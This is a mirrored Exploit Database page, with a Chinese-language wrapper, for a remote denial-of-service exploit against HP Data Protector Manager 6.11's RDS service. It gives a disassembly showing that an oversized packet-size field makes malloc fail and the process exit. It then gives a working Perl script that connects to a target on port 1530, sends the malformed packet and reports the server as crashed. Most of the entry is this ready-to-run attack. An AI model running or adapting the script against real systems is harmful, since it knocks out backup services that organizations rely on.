HP Data Protector Manager 6.11 – RDS Service Remote Denial of Service

• Exploit Database
• 122 阅读

• 作者： Pepelux
  日期： 2011-01-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15940/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76

  #!/usr/bin/perl   # =============================== # HP Data Protector Manager v6.11 # =============================== # # Bug: Remote Denial of Service Vulnerabilities (RDS Service) # # Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html # Date: 08/01/2011 # Authors: Roi Mallo - rmallof[AT]gmail[DOT]com # http://elotrolad0.blogspot.com/ - http://twitter.com/rmallof #Pepelux - pepelux[AT]enye-sec[DOT]com # http://www.enye-sec.org - http://www.pepelux.org - http://twitter.com/pepeluxx # # Vulnerable file: Program Files\OmniBack\rds.exe # # Tested on Windows XP SP2 && Windows XP SP3 # # # POC: # _ncp32.dll is the responsable of waiting the packet (RECV) # when a packet is received, it uses _rm32.dll to allocating memory, # as the size is too big, malloc can&apos;t allocate this size and the program exit. # # _ncp32.dll # 00482F92 68 7DFAF908 PUSH 8F9FA7D # 00482F97 6A 00 PUSH 0 # 00482F99 6A 01 PUSH 1 # 00482F9B 6A 00 PUSH 0 # 00482F9D 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8] ; packet size (64000000h) # 00482FA0 52 PUSH EDX # 00482FA1 E8 9C2D0000 CALL <JMP.&_rm32.#20_rm_getMem> # # # _rm32.dll # 0038C49B 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] : packet size (64000000h) # 0038C49E 83C0 08 ADD EAX,8 # 0038C4A1 50 PUSH EAX # 0038C4A2 FF15 F4733A00 CALL DWORD PTR DS:[<&MSVCR71.malloc>]; MSVCR71.malloc--> Returns 0 because no space available # ...... # 0038C5F9 50 PUSH EAX # 0038C5FA 68 2C0C3A00 PUSH _rm32.003A0C2C ; ASCII "rm_getMem: out of memory, allocating %u bytes. Called from %s" #...... # 0038C64E E8 8D220000CALL _rm32.rm_errorExit       use IO::Socket;   my ($server, $port) = @ARGV ;   unless($ARGV[0] || $ARGV[1]) { print "Usage: perl $0 <host> [port]\n"; print "\tdefault port = 1530\n\n"; exit 1; }   $port = 1530 if !($ARGV[1]);     if ($^O =~ /Win/) {system("cls");}else{system("clear");}   my $buf = "\x23\x8c\x29\xb6"; # header (always the same) $buf .= "\x64\x00\x00\x00"; # data packet size (too big) $buf .= "\x41"x4; # data   print "[+] Connecting to $server:$port ...\n";   my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => &apos;10&apos;, Proto => &apos;tcp&apos;) or die("Server $server is not available.\n");   print "[+] Sending malicious packet ...\n"; print $sock1 "$buf"; print "\n[x] Server crashed!\n"; exit;